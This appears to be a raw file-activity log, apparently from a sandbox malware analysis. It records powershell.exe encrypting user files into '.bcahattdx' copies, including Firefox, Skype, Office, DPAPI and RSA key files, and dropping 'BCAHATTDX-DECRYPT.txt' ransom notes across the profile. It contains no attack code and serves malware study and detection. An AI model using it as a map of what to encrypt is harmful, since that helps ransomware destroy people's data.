672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\store.json.mozlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\events\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\datareporting\archived\2018-08\1535454581431.ff499cec-8d4b-47de-a059-a9aea3d69a66.main.jsonlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\store.json.mozlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cookies.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\content-prefs.sqlite.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\crashes\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\content-prefs.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cookies.sqlite ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cert9.db.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\containers.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\compatibility.ini.bcahattdx flc
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\containers.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\compatibility.ini ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\cert9.db ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\plugins.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\bookmarkbackups\bookmarks-2018-08-28_14_uZyx1cMFmZ7ZpL4NneCk2A==.jsonlz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\bookmarkbackups\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\addons.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\bookmarkbackups\bookmarks-2018-08-28_14_uZyx1cMFmZ7ZpL4NneCk2A==.jsonlz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\plugins.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\addons.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklist.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklists\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\blocklist.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addons.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addonStartup.json.lz4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addonStartup.json.lz4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\addons.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Pending Pings\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\events\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\InstallTime20180807170231.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\InstallTime20180807170231 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\NormalEmail.dotm.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Extensions\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Word\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Word\STARTUP\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Vault\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\UProof\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\NormalEmail.dotm ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\Access Parts\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\ECCD4BA46722CB4F92060701865DDF09D8AF68B4.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\Access Parts\1033\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\Managed\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\Normal.dotm.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\LiveContent\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Templates\Normal.dotm ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\ECCD4BA46722CB4F92060701865DDF09D8AF68B4 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\slimcore-0-4223384469.blog.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Speech\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\E02357FC7708441D4B0BE5F371F4B28961870F70.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Stationery\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\E02357FC7708441D4B0BE5F371F4B28961870F70 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\shared.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\slimcore-0-4223384469.blog ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\shared.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db-journal.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db-journal ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\main.db ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\config.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-wal.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\live#3agabriel.radrigos\config.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-wal ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-shm.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\settings.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\settings.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\skylib\DataRv\offline-storage.data-shm ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Preferences.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl.bak.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\QuotaManager.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Preferences ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\QuotaManager ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl.bak ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-0-2576771366.blog.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-1-1870167131.blog.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype_MediaStackETW-2018.34.1.3-UVA-x86release-U.etl ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-0-2576771366.blog ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\Skype.msrtc-1-1870167131.blog ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\media-stack\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG.old.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\logs\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\MANIFEST-000001.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\MANIFEST-000001 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG.old ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\CURRENT.bcahattdx vc
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000017.log.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000018.ldb.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\CURRENT ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000017.log ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\LOG ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000018.ldb ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG.old.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\MANIFEST-000001.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000005.ldb.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\MANIFEST-000001 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG.old ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Local Storage\leveldb\000005.ldb ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\CURRENT.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\000003.log.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\CURRENT ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\LOG ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\000003.log ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\file__0.indexeddb.leveldb\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\IndexedDB\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\dictionaries\en-US.bdic.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\ecscache.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\dictionaries\en-US.bdic ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\ecscache.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\device-info.json.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cookies.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\databases\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\databases\Databases.db.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\dictionaries\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\device-info.json ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cookies ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\databases\Databases.db ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\index.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000004.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\index ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000004 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000001.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000003.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000002.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000001 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000003 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\f_000002 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_3 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_3.bcahattdx ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_2.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_2 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_1.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_0.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_1 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\data_0 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher Building Blocks\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\29fd2168-360f-422a-a685-e6961ea74ba8.bcahattdx bs
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\54ba308a-6a9a-4e0e-b137-b89d3579498b.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\Preferred.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher Building Blocks\ContentStore.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Signatures\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Skype for Desktop\Cache\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\Preferred ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\54ba308a-6a9a-4e0e-b137-b89d3579498b ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Publisher Building Blocks\ContentStore.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.srs.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\PowerPoint\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Proof\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\CREDHIST.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1302019708-1500728564-335382590-1000\29fd2168-360f-422a-a685-e6961ea74ba8 ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.srs ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Protect\CREDHIST ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\test.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.srs.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\14.0\Preferences.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\NoMail.xml.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\NoMail.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.xml ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Outlook\Outlook.srs ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\14.0\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\MSO1033.acl.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\OneNote\14.0\Preferences.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Office\MSO1033.acl ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\MMC\taskschd.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\Connections\Pbk\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\MMC\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Network\Connections\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\MMC\taskschd ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Excel\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Excel\XLSTART\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\HTML Help\hh.dat.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\HTML Help\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\HTML Help\hh.dat ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\e3f86d7936454598ef98443d4fd3260d_90059c37-1320-41a4-b58d-2b75a9850d2f.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\BCAHATTDX-DECRYPT.txt text
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\e3f86d7936454598ef98443d4fd3260d_90059c37-1320-41a4-b58d-2b75a9850d2f ––
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\a551dda6b1d5ee0d0c4637af6c004413_90059c37-1320-41a4-b58d-2b75a9850d2f.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\c43c9d3341c1ddc712bbe39db3c78fa5_90059c37-1320-41a4-b58d-2b75a9850d2f.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\1f91d2d17ea675d4c2c3192e241743f9_90059c37-1320-41a4-b58d-2b75a9850d2f.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\7be1242ebc44e45985bd1ffa382e997c_90059c37-1320-41a4-b58d-2b75a9850d2f.bcahattdx binary
672 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\c43c9d3341c1ddc712bbe39db3c78fa5_90059c37-1320-41a4-b58d-2b75a9850d2f ––
